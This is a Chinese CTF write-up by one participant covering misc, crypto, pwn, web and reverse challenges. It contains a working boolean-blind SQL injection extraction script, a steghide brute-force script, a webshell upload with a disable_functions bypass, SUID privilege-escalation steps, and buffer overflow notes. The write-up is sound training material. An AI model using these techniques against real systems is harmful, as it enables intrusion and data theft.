708 lines
19 KiB
Markdown
708 lines
19 KiB
Markdown
|
REDROCK CTF WP
|
|||
|
|
|||
|
参赛人:吴文俊
|
|||
|
|
|||
|
|
|||
|
|
|||
|
MISC
|
|||
|
|
|||
|
1.yourcraft
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
没啥好说的跑酷就完了(绿宝石那关后面有捷径)
|
|||
|
|
|||
|

|
|||
|
|
|||
|
2.签到
|
|||
|
|
|||
|

|
|||
|
|
|||
|
cv
|
|||
|
|
|||
|
3.290的小秘密 lsb加密用stegsolve
|
|||
|
|
|||
|
就出来了
|
|||
|
|
|||
|
4.wireshark
|
|||
|
|
|||
|
直接丢wireshark里
|
|||
|
|
|||
|
最后一个的hex就直接是了
|
|||
|
|
|||
|

|
|||
|
|
|||
|
5.我图图呢
|
|||
|
|
|||
|
两段中一段是改图片长度获得隐藏内容
|
|||
|
|
|||
|
另一端是编码最后地方
|
|||
|
|
|||
|

|
|||
|
|
|||
|

|
|||
|
|
|||
|

|
|||
|
|
|||
|
6.easyzip
|
|||
|
|
|||
|

|
|||
|
|
|||
|

|
|||
|
|
|||
|
6.Are you a JPG master?
|
|||
|
|
|||
|
这道题看有两个hint
|
|||
|
|
|||
|
所以跟着hint来就行
|
|||
|
|
|||
|
先是JAVA盲水印
|
|||
|
|
|||
|
然后寻找工具
|
|||
|
|
|||
|

|
|||
|
|
|||
|
找到了
|
|||
|
|
|||
|
剥离水印。获得第一次zip密码
|
|||
|
|
|||
|

|
|||
|
|
|||
|
然后level2
|
|||
|
|
|||
|
给了个图片和dic
|
|||
|
|
|||
|
因为有dic首先怀疑是文件植入了一个zip
|
|||
|
|
|||
|
要用dic暴力破解zip得到flag
|
|||
|
|
|||
|
打开kali
|
|||
|
|
|||
|
binwalk -e。。。。。。。。。。
|
|||
|
|
|||
|
没用
|
|||
|
|
|||
|
查看hint
|
|||
|
|
|||
|
怀疑是图片数据直接隐写
|
|||
|
|
|||
|
然后开始判断种类
|
|||
|
|
|||
|
先用`stegdetect`判断,结果ng,所以f5和ourgruss排除
|
|||
|
|
|||
|
同时尝试oursecret
|
|||
|
|
|||
|
直接判断为无
|
|||
|
|
|||
|
于是使用Stegsolve查看图片细节
|
|||
|
|
|||
|
发现大量奇怪色块判断是`steghide`
|
|||
|
|
|||
|
着手编写脚本
|
|||
|
|
|||
|
```
|
|||
|
#http://pcat.cc
|
|||
|
from subprocess import *
|
|||
|
|
|||
|
def foo():
|
|||
|
stegoFile='level2.jpg'
|
|||
|
extractFile='hide.txt'
|
|||
|
passFile='dic.txt'
|
|||
|
|
|||
|
errors=['could not extract','steghide --help','Syntax error']
|
|||
|
cmdFormat='steghide extract -sf "%s" -xf "%s" -p "%s"'
|
|||
|
f=open(passFile,'r')
|
|||
|
|
|||
|
for line in f.readlines():
|
|||
|
cmd=cmdFormat %(stegoFile,extractFile,line.strip())
|
|||
|
p=Popen(cmd,shell=True,stdout=PIPE,stderr=STDOUT)
|
|||
|
content=unicode(p.stdout.read(),'gbk')
|
|||
|
for err in errors:
|
|||
|
if err in content:
|
|||
|
break
|
|||
|
else:
|
|||
|
print content,
|
|||
|
print 'the passphrase is %s' %(line.strip())
|
|||
|
f.close()
|
|||
|
return
|
|||
|
|
|||
|
if __name__ == '__main__':
|
|||
|
foo()
|
|||
|
print 'ok'
|
|||
|
pass
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
运行
|
|||
|
|
|||
|
成功获得flag
|
|||
|
|
|||
|

|
|||
|
|
|||
|
7.mermory
|
|||
|
|
|||
|
kali里下好vol然后内存分析,在浏览器记录里发现了secret.png和part3
|
|||
|
|
|||
|
然后把secret.png导出获得头
|
|||
|
|
|||
|
在剪切板记录里获得part2
|
|||
|
|
|||
|
最后结合头部中部尾部得到flag
|
|||
|
|
|||
|
8.5525
|
|||
|
|
|||
|
SilentEye隐写,把音频导入然后解密就行
|
|||
|
|
|||
|
根据hint提示这个密码和五月天有关(u1s1它这个误导非常大,因为hint说key是歌手名首字母大写可问题是解出来的key是Mayday二Mayday是五月天这个乐队的名字,五月天是乐队而不是歌手,真的奇了怪了
|
|||
|
|
|||
|

|
|||
|
|
|||
|
|
|||
|
|
|||
|
## 密码学
|
|||
|
|
|||
|
1.real1ty的小秘密
|
|||
|
|
|||
|

|
|||
|
|
|||
|
凯撒密码,试几下就出了
|
|||
|
|
|||
|

|
|||
|
|
|||
|
2.我解md5真的假的
|
|||
|
|
|||
|
一个一个解就行直接用给的那个网站就行
|
|||
|
|
|||
|

|
|||
|
|
|||
|
注意第4个,给的那个网站我没查到,所有只能硬算
|
|||
|
|
|||
|
撞库就完事咯
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|

|
|||
|
|
|||
|
|
|||
|
|
|||
|
3.Morse_Code
|
|||
|
|
|||
|
找个网站直接解,接完调小写并且%ub 和%ud分别是{}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|

|
|||
|
|
|||
|
|
|||
|
|
|||
|
4.easy crypto
|
|||
|
|
|||
|
先问一下gpt这是啥加密方式
|
|||
|
|
|||
|
问到是仿射加密
|
|||
|
|
|||
|
发现其具有周期性
|
|||
|
|
|||
|
那我多跑几遍直到redrock出现就行了
|
|||
|
|
|||
|

|
|||
|
|
|||
|
5.What is RSA
|
|||
|
|
|||
|
写一个解rsa的脚本
|
|||
|
|
|||
|
把参数填了就出了
|
|||
|
|
|||
|

|
|||
|
|
|||
|
6.e这么小吗
|
|||
|
|
|||
|
这道题很难,先是尝试了硬解(包括不限于拿自己电脑跑n的因素分解以及网上搜库,还用rsatoolv2也试了都没出)直到翻到一个博客
|
|||
|
|
|||
|
[RSA算法原理及CTF解题_ctf rsa 已知m n c 求e-CSDN博客](https://blog.csdn.net/qq_45521281/article/details/114706622)
|
|||
|
|
|||
|
##### e=3,可进行小明文攻击
|
|||
|
|
|||
|
适用情况:e较小,一般为3。
|
|||
|
|
|||
|
当如果公钥e很小,明文m也不大的话,就会导致 `m^e=k*n+c` 中的k值很小甚至为0,爆破k或直接开三次方即可。
|
|||
|
|
|||
|
根据这个思路
|
|||
|
|
|||
|
(因为这道题给我发的数字都是10进制所有我需要先改一下代码再获得10进制解密数字后转16进制然后转字符串)
|
|||
|
|
|||
|
结果图:
|
|||
|
|
|||
|
7.rel1ty的大秘密
|
|||
|
|
|||
|
这道题是赤石,贼大一个文件
|
|||
|
|
|||
|
但是总的来说还是很简单
|
|||
|
|
|||
|
写3个程序分别用于解base16 32 64编码
|
|||
|
|
|||
|
然后来回套,看那个可以继续套下去
|
|||
|
|
|||
|
直到出现一个很像flag的东西
|
|||
|
|
|||
|

|
|||
|
|
|||
|
然后猜测royk与rock处是交换点
|
|||
|
|
|||
|
然后取oyk 和ock 进行原始base64解密
|
|||
|
|
|||
|
对比不同
|
|||
|
|
|||
|
交换(题意就是有3对数据表内容发生了交换)
|
|||
|
|
|||
|
然后是real1tG 的G与 y
|
|||
|
|
|||
|
不断尝试,交换
|
|||
|
|
|||
|
得出可能flag
|
|||
|
|
|||
|
然后提交
|
|||
|
|
|||
|

|
|||
|
|
|||
|
8.real1ty的中秘密
|
|||
|
|
|||
|
维吉尼亚密码的变种,叫gpt写了个脚本
|
|||
|
|
|||
|
```
|
|||
|
def vigenere_decrypt(ciphertext, key, shift=0):
|
|||
|
plaintext = ""
|
|||
|
base = ord('A') # 假设为大写字母
|
|||
|
for i in range(len(ciphertext)):
|
|||
|
c = ciphertext[i]
|
|||
|
k = key[i % len(key)]
|
|||
|
# 解密公式
|
|||
|
decrypted_char = chr((ord(c) - ord(k) - shift) % 26 + base)
|
|||
|
plaintext += decrypted_char
|
|||
|
return plaintext
|
|||
|
|
|||
|
# 示例调用
|
|||
|
ciphertext = "密文内容" # 替换成真实密文
|
|||
|
key = "密钥" # 替换成已知密钥或尝试推测
|
|||
|
shift = 0 # 替换成尝试的shift值
|
|||
|
print(vigenere_decrypt(ciphertext, key, shift))
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
然后获得了如图所示的效果
|
|||
|
|
|||
|

|
|||
|
|
|||
|
不难发现j是{
|
|||
|
|
|||
|
同时呢调整大小写
|
|||
|
|
|||
|
使大小写与密文一致
|
|||
|
|
|||
|

|
|||
|
|
|||
|
最后发现提交后还是不对
|
|||
|
|
|||
|
然后抖了一激灵
|
|||
|
|
|||
|
既然使real1ty beileves crypto ***
|
|||
|
|
|||
|
那么根据real1ty的大秘密我可以猜测是那个内容是safe
|
|||
|
|
|||
|
然后得到结果
|
|||
|
|
|||
|
Redrock{real1ty_believes_crypto_InfosAFE}
|
|||
|
|
|||
|
pwn
|
|||
|
|
|||
|
1.login
|
|||
|
|
|||
|
签到题
|
|||
|
|
|||
|
ida打开 输入-1 开启后门
|
|||
|
|
|||
|

|
|||
|
|
|||
|
故 -1
|
|||
|
|
|||
|
flag get
|
|||
|
|
|||
|
2. real login
|
|||
|
3. 依旧签到
|
|||
|
4. 
|
|||
|
|
|||
|
nc 连上
|
|||
|
|
|||
|
输入49
|
|||
|
|
|||
|
获得bash
|
|||
|
|
|||
|
然后去根目录cat flag
|
|||
|
|
|||
|
3.爱捉弄人的beatcat
|
|||
|
|
|||
|
这道题应该是个内存泄漏题
|
|||
|
|
|||
|

|
|||
|
|
|||
|

|
|||
|
|
|||
|
要buf=v2那就看怎么填充得到v2了呗,然后就看buf到r的空间大小0x191个,然后就这么填充A占位
|
|||
|
|
|||
|
就成功满足判定了
|
|||
|
|
|||
|
然后cat /flag
|
|||
|
|
|||
|
获得flag
|
|||
|
|
|||
|
4.计算猫
|
|||
|
|
|||
|
这个就是做脚本自动计算
|
|||
|
|
|||
|

|
|||
|
|
|||
|
然后就行了
|
|||
|
|
|||
|
5.与贝塔凯特约会
|
|||
|
|
|||
|
newstarctf 第一周的一个pwn题一样的过程
|
|||
|
|
|||
|

|
|||
|
|
|||
|
使nbytes_4的数据溢出到nbytes
|
|||
|
|
|||
|
|
|||
|
|
|||
|

|
|||
|
|
|||
|
把得到的payload输进窗口就完成了
|
|||
|
|
|||
|
6.贝塔凯特的后门
|
|||
|
|
|||
|
这道题也是内存溢出
|
|||
|
|
|||
|
但是使要溢出到指定函数(backdoor)的地址上从而调用backdoor
|
|||
|
|
|||
|
之前没有这方面的知识
|
|||
|
|
|||
|
找了很久的资料
|
|||
|
|
|||
|
最后知道了方法
|
|||
|
|
|||
|
先是填充
|
|||
|
|
|||
|
使buf刚刚溢出
|
|||
|
|
|||
|

|
|||
|
|
|||
|
0x50+0x08生成个A
|
|||
|
|
|||
|
然后是加上backdoor的地址
|
|||
|
|
|||
|
启动脚本
|
|||
|
|
|||
|

|
|||
|
|
|||
|
成功获得flag
|
|||
|
|
|||
|
web
|
|||
|
|
|||
|
1.贪吃蛇
|
|||
|
|
|||
|
score控制台改10000就行
|
|||
|
|
|||
|

|
|||
|
|
|||
|
2.这是真签到
|
|||
|
|
|||
|
进去翻翻源码
|
|||
|
|
|||
|
得到flag
|
|||
|
|
|||
|
3.机器人
|
|||
|
|
|||
|
newstarctf中的智械危机类似
|
|||
|
|
|||
|
看robots.txt这是一个协议关于爬虫相关的
|
|||
|
|
|||
|

|
|||
|
|
|||
|
然后先看hint知道/flag下的字符串是flag的每个字符填充7个随机字符得到
|
|||
|
|
|||
|
所以写个脚本就得到flag了
|
|||
|
|
|||
|

|
|||
|
|
|||
|
4.留言板
|
|||
|
|
|||
|
python版sql注入
|
|||
|
|
|||
|
先在留言板试了几下
|
|||
|
|
|||
|
发现它会打印一个字符串回来
|
|||
|
|
|||
|
内容就是你写的内容
|
|||
|
|
|||
|
但是它被u‘’包被
|
|||
|
|
|||
|
所以写的时候现在前面加一个‘+f’就可在{}里执行任意命令,注意到它有限长,而且和‘’的数量.的数量有关,所以废了下功夫构造出一个函数得到flag
|
|||
|
|
|||
|

|
|||
|
|
|||
|

|
|||
|
|
|||
|
5.肚子饿了
|
|||
|
|
|||
|
这道题使真的很折磨人
|
|||
|
|
|||
|
我试了很久的绕过,都没有成功绕掉,你是黑客不给你吃真的把我脑子贯穿,chatgpt都爆了几次
|
|||
|
|
|||
|
最后找到了成功的方式。
|
|||
|
|
|||
|
首先,这个题是布尔盲注
|
|||
|
|
|||
|
那么我就要想办法得生成一个字符然后判断这个字符是否是(首先是表然后是列最后是值)的几号字符。
|
|||
|
|
|||
|
看了newstarctf的wp也是能够知道了这大概是个什么流程
|
|||
|
|
|||
|
但是问题最大的是如何找到这个判断通过长时间的分析发现and和union不能用,位置还是在尴尬的order by 后面 并且order by 后面已经有了一个值(在这里命名为x)。所以唯一的出路是想办法让那个by后面的值入手,发现if(e1,e2,e3)这个sql语句中e1是判别式如果正确那么就会返回e2如果错误那么就会返回e3。这就是一个很好的触发点。此时如果找到一个运算符让x与这个if出来的值进行计算可以改变表的顺序就大功告成。
|
|||
|
|
|||
|
经过尝试。最后发现如果在?type=处填写>>IF((判别式),2,1)就可以做到上条件。然后就开始着手写脚本
|
|||
|
|
|||
|
```
|
|||
|
import requests
|
|||
|
from urllib.parse import quote
|
|||
|
url = "http://127.0.0.1:16626/"
|
|||
|
mark = "西红柿炒鸡蛋</td><td>18.00</td><td>西红柿炒鸡蛋,是一道家常菜,在口感方面爽口、开胃,因此也是许多百姓家庭中一道普通的大众菜肴。</td></tr><tr><td>干煸四季豆"
|
|||
|
result = ""
|
|||
|
for i in range(1, 1000):
|
|||
|
print(result)
|
|||
|
print(i)
|
|||
|
min_value = 32
|
|||
|
max_value = 126
|
|||
|
mid = (min_value + max_value) // 2 # 中值
|
|||
|
while min_value < max_value:
|
|||
|
# 构建payload并进行URL编码
|
|||
|
|
|||
|
#payload =f"index.php?type=>>(if(ord(mid((select group_concat(table_name) from information_schema.tables where table_schema like database()),{i},{i}))>{mid},2,1))"
|
|||
|
#tables = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secret\')))'
|
|||
|
tables = f'(Select(group_concat(flag))from(secret)where((secret_value)like(\'Redrock%\')))'
|
|||
|
char = f'ord(mid({tables},{i},{i}))'
|
|||
|
payload=f'index.php?type=>>(if({char}>{mid},2,1))'
|
|||
|
full_url =f"{url}{payload}"
|
|||
|
print(full_url)
|
|||
|
# 发送GET请求
|
|||
|
|
|||
|
response = requests.get(full_url)
|
|||
|
# 检查返回内容是否包含标记
|
|||
|
if mark in response.text:
|
|||
|
min_value = mid+1
|
|||
|
print("get")
|
|||
|
else:
|
|||
|
max_value = mid
|
|||
|
mid = (min_value + max_value) // 2
|
|||
|
# 找不到目标元素时停止
|
|||
|
if mid < 32 or mid > 126:
|
|||
|
break
|
|||
|
result += chr(mid)
|
|||
|
print("Result:", result)
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
然后就是用二分法查值最后得出flag
|
|||
|
|
|||
|

|
|||
|
|
|||
|

|
|||
|
|
|||
|

|
|||
|
|
|||
|
6.简简单单upload
|
|||
|
|
|||
|
进去首先审计代码
|
|||
|
|
|||
|
发先了它得上传逻辑,就是说它会将源文件改名并上传道upload得目录下,
|
|||
|
|
|||
|
改名逻辑是时间戳+_+原名
|
|||
|
|
|||
|
所以通过上传文件时的回显获得服务器时间
|
|||
|
|
|||
|
然后写一个脚本换算时间戳
|
|||
|
|
|||
|
```
|
|||
|
from datetime import datetime
|
|||
|
import pytz
|
|||
|
|
|||
|
time_str = "Wed, 20 Nov 2024 04:22:49 GMT"
|
|||
|
gmt = pytz.timezone('GMT')
|
|||
|
dt = datetime.strptime(time_str, '%a, %d %b %Y %H:%M:%S GMT')
|
|||
|
dt = gmt.localize(dt)
|
|||
|
timestamp = int(dt.timestamp())
|
|||
|
print("时间戳:", timestamp)
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
至于文件上传目录,不难想到就是/uploads
|
|||
|
|
|||
|
于是上传一个一句话用蚁剑连接它
|
|||
|
|
|||
|

|
|||
|
|
|||
|
连接后查看根目录
|
|||
|
|
|||
|
发现flag就在哪儿
|
|||
|
|
|||
|

|
|||
|
|
|||
|
但是打开是空白。发现是权限问题
|
|||
|
|
|||
|
然后开始想办法绕过
|
|||
|
|
|||
|
结果shell都无法使用
|
|||
|
|
|||
|

|
|||
|
|
|||
|
查阅资料,是php设置了disable_function
|
|||
|
|
|||
|
通过phpinfo()发现禁用了很多方法
|
|||
|
|
|||
|
于是继续查阅资料
|
|||
|
|
|||
|
发现可以用蚁剑插件绕过
|
|||
|
|
|||
|

|
|||
|
|
|||
|
成功绕过
|
|||
|
|
|||
|
然后考虑提权
|
|||
|
|
|||
|
,因为是通过反代,而且服务器nc也没有,连查阅的资料中提到的反弹都不能做到,于是完全提权路子被否掉
|
|||
|
|
|||
|
于是开始继续查阅资料
|
|||
|
|
|||
|
继续尝试
|
|||
|
|
|||
|
最后查阅到了suid提权
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
find / -user root -perm -4000 -print 2>/dev/null
|
|||
|
```
|
|||
|
|
|||
|
然后查看文件中存在哪些usid权限的文件
|
|||
|
|
|||
|
对比后发现没有可以直接获得执行root权限命令的程序
|
|||
|
|
|||
|
但是发现有一个curl
|
|||
|
|
|||
|
开始以curl方向思考
|
|||
|
|
|||
|
一番尝试下
|
|||
|
|
|||
|

|
|||
|
|
|||
|
成功获得flag
|
|||
|
|
|||
|
然后得到flag
|
|||
|
|
|||
|
7.slowjson
|
|||
|
|
|||
|
这道题是真没想过如此简单
|
|||
|
|
|||
|
我还在哪儿琢磨半天
|
|||
|
|
|||
|
本质上就是发送一个json,里面包含了如题目所说的用于操作java实现读取写入操作的各种类
|
|||
|
|
|||
|
spring会反序列化它们(实例化它们),从而让这些类运行起来
|
|||
|
|
|||
|
同时呢根据文档描述,读操作为一个字符一个字符的读。所以剩下的就很简单了
|
|||
|
|
|||
|
写一个脚本然后不同发送请求,请求里填充着构造好的恶意代码然后就可以了
|
|||
|
|
|||
|
幸运的是hint直接就写好了这样的代码
|
|||
|
|
|||
|
所以我只需要略作修改(指把地址改一下)就可以得到flag的anscii码
|
|||
|
|
|||
|

|
|||
|
|
|||
|
Reverse
|
|||
|
|
|||
|
1.baby_Reverse
|
|||
|
|
|||
|
走迷宫,首先ida打开看程序长什么样
|
|||
|
|
|||
|

|
|||
|
|
|||
|
好的,键盘输入每一步的方位,anscii码分别对应的是up down right left的首字母
|
|||
|
|
|||
|
所以题目要求的前三十位只需要看前三十步长什么样
|
|||
|
|
|||
|
然后呢不难发现
|
|||
|
|
|||
|

|
|||
|
|
|||
|
就是存储地图数据的地方
|
|||
|
|
|||
|
那么直接看迷宫啥样
|
|||
|
|
|||
|

|
|||
|
|
|||
|
整理一下
|
|||
|
|
|||
|

|
|||
|
|
|||
|
发现有部分道路堵塞,没关系,反正都在很后面了影响不大
|
|||
|
|
|||
|
随便修补修补。我只取前面的(图中展示的是修补完了的)
|
|||
|
|
|||
|
然后就是用bfs算法算出路径
|
|||
|
|
|||
|

|
|||
|
|
|||
|
算出后取前面30个
|
|||
|
|
|||
|

|
|||
|
|
|||
|
(A为左右B为上下的位移)
|
|||
|
|
|||
|
然后anscii转换一下
|
|||
|
|
|||
|
flag就出了
|
|||
|
|
|||
|
2.easy
|
|||
|
|
|||
|
确实很easy,flag直接明文展示的
|
|||
|
|
|||
|

|
|||
|
|
|||
|
拿就拿下呗
|
|||
|
|
|||
|
3.mini_game
|
|||
|
|
|||
|
ida打开
|
|||
|
|
|||
|
好多东西
|
|||
|
|
|||
|
看不懂
|
|||
|
|
|||
|
没事
|
|||
|
|
|||
|
我只知道这个游戏就是很简单的小游戏,只需要键盘输入屏幕上显示过的字符就可以获得过关,获取部分flag
|
|||
|
|
|||
|
最大的问题是,显示的速度太快,根本记不住
|
|||
|
|
|||
|
没事
|
|||
|
|
|||
|
ce启动,启动变速齿轮,然后速度就正常了
|
|||
|
|
|||
|
过关呗,然后flag拿下
|
|||
|
|
|||
|

|